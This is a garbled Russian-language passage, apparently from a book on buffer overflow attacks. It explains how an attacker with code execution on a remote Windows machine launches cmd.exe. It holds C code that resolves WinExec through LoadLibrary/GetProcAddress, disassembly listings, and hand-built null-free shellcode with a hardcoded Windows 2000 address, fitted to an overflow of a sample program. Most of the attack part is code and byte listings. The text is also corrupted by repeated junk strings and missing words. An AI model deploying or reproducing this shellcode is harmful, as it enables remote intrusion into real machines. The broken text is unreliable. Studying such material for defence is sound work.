ALTE DOCUMENTE
|
||||||||
Получ 444r171e ив возможность выполнения своего кода на удаленной машине, злоумышленник, как правило, стремится запустить командный интерпретатор, или пытается вызвать системные функции для повышения своего статуса или регистрации нового пользователя в системе. Модификация же кода уязвимой программы (примеры которой приведены в главе «Технология срыва стека») не всегда позволяет атакующему получ 444r171e ить желаемый результат.
UNIX INT 0x LINUX) в системах совместимых с System V x0 :0x00000000 exec fork ( UNIX - Shell)
Windows NT INT 0x2F ZwCreateProcess NtCreateProcess (EAX=0x29, INT 0x2Fh) CreateProcessA (CreateProcessW) KERNEL32.DLL,
INT 0x2F DLL LoadLibray, а затем получ 444r171e ают адрес требуемой функции с помощью GetProcAddress
UINT (__stdcall *x) (LPCSTR lpCmdLine, UINT uCmdShow);
x= (UINT (__stdcall *)(LPCSTR lpCmdLine, UINT uCmdShow))
(GetProcAddress(LoadLibrary("KERNEL32.DLL"),"WinExec"));
x("cmd.exe",SW_SHOW);
"WinExec" "CreateProcess" CreateProcess WinExec
.text:00401000 55 push ebp
.text:00401001 8B EC mov ebp, esp
.text:00401003 51 push ecx
.text:00401004 68 30 50 40 00 push 405030h
.text:00401009 68 38 50 40 00 push offset aKernel32_dll ; "KERNEL32.DLL"
.text:0040100E FF 15 04 40 40 00 call ds:LoadLibraryA
.text:00401014 50 push eax
.text:00401015 FF 15 48 40 40 00 call ds:GetProcAddress
.text:0040101B 89 45 FC mov [ebp+var_4], eax
.text:0040101E 6A 05 push 5
.text:00401020 68 48 50 40 00 push offset aCmd_exe ; "cmd.exe"
.text:00401025 FF 55 FC call [ebp+var_4]
.text:00401028 8B E5 mov esp, ebp
.text:0040102A 5D pop ebp
.text:0040102B C3 retn
data:00405030 57 69 6E 45 78 65+aWinexec db 'WinExec',0
data:00405038 4B 45 52 4E 45 4C+aKernel32_dll db 'KERNEL32.DLL',0
data:00405045 00 00 00 align 4
data:00405048 63 6D 64 2E 65 78+aCmd_exe db 'cmd.exe',0
: наличие нулевых символов не позволяет ввести такой код с клавиатуры. Можно конечно, снабдить код расшифровщиком, один из примеров которого приведен в дополнении «Шифровка кода», добившись исчезновения всех нулевых символов во вводимой строке. Но и сам шифровщик потребует какое-то количество памяти, которой может попросту не хватить. Другая трудность заключается в следующем - функции LoadLibrary GetProcAddress NTDLL.DLL, KERNEL32.DLL INT 0x2E KERNEL32.DLL ( GetProcAddress ( GetProcAddress[2])
Windows - подключение необходимых библиотек еще на стадии загрузки файла. Для этого необходимо перечислить все требуемые функции в секции импорта PE- LoadLibrary
Но даже если злоумышленник и получ 444r171e ит доступ к секции импорта (а для этого необходимо иметь право записи в исполняемый и, как правило, исполняющийся в данный момент файл[3]), то он столкнется с проблемой модифицирования готовой секции импорта, что само по себе представляет нетривиальную задачу. Наконец, если добавление новых элементов пройдет успешно, изменения возымеют силу только после последующей загрузки файла.
Windows KERNEL32.DLL KERNERL32.DLL[4] KERNEL32 LoadLibrary
GetProcAddress KERNEL32.DLL GetProcAddress
WinExec dumpbin Windows-
printf("0x%X \n",
GetProcAddress(
LoadLibrary("KERNEL32.DLL"),"WinExec"
)
Windows 2000 ( 0x77E98601, в
push 012345678 ;
push offset cmdLine;
0000000A: B8 01 86 E9 77 mov eax,077E98601 ;"
0000000F: FF D0 call eax
API Windows PASCAL WS_SHOW
ret WinExec WinExec, "SUB ESP,??" "83 EC ??" 0x7F 0x7F "SUB ESP,??"
"ret".
C0 xor eax,eax
00000002: B0 mov al,?? ;"f
00000004: C1 E0 10 shl eax,010 ;
00000007: 66 B8 ?? ?? mov ax,?? ??;
EAX
00000000: FE4007 inc b,[eax][00007]
000000x0: 63 'c'
000000x1: 6D 'm'
000000x2 64 'd'
000000x3: 2E '.'
000000x4: 65 'e'
000000x5 78 'x'
000000x6: 65 'e'
000000x7: FF '\xFF'
0xFF INC SUB XOR, AND
Объединив все вышесказанное, можно получ 444r171e ить код, который может выглядеть, например, так:
00000000: 83 EC ?? sub esp,??;
00000003: 33 C0 xor eax,eax
00000005: B0 ?? mov al,?? ;
push eax;
00000008: C1 E0 10 shl eax,010 ;
0000000B: 66 B8 ?? ?? mov ax,????;
0000000F: FE 40 07 inc b,[eax][00007];
push eax;
00000013: B8 01 86 E9 77 mov eax,077E98601 ;"
00000018: FF D0 call eax;
0000001A: EB FE jmps 00000001A;
0000001C: 63 'c';
0000001D: 6D 'm';
0000001E: 64 'd';
0000001F: 2E '.';
'e';
'x';
'e';
00000023: FF '\xFF';
Вместо возращения управления основой ветке программы, в коде, приведенном выше, использовано зацикливание. Это не самое луч 444r171e шее решение, однако, чаще всего оно никак не отражается на работоспособности атакуемой программы, (т.е. не вешает ее), поскольку каждый подключившийся к серверу пользователь обычно обрабатывается отдельным потоком. Однако, возможно значительное падение производительности, особенно хорошо заметное на однопроцессорных машинах и правильнее было бы вгонять поток в сон, например, воспользовавшись вызовом WaitForSingleObject. Но в некоторых случ 444r171e аях можно обойтись и без этого[5].
/SRC/buff.cmd.c
#include <stdio.h>
#include <string.h>
auth()
main()
Microsoft Visual Studio auth ret
ESP x FF C[6] x x x EBP x FF C x x FF
EDX strcmp WinExec
00000000: 83 EC 30 sub esp,030;
push edx ;
00000004: B2 6B mov dl,06B ;
00000006: FE 42 07 inc b,[edx][00007] ;
push edx ;
0000000A: B8 01 86 E9 77 mov eax,077E98601 ;
0000000F: FF D0 call eax ;
00000011: EB FE jmps 000000011 ;
'c'
00000014: 6D 'm'
64 'd'
00000016: 2E '.'
'e'
78 'x'
'e'
0000001A: FF '\xFF'
cmd exe" в буфере равно 0x13, следовательно, младший байт регистра EDX x x x B EBP x xFF x
Alt /SRC/buff.cmd.2000.key
Windows telnet-сервером, злоумышленник получ 444r171e ает возможность запустить cmd exe Windows NT cmd.exe /k copy xxxx yyyyy
UNIX System V
|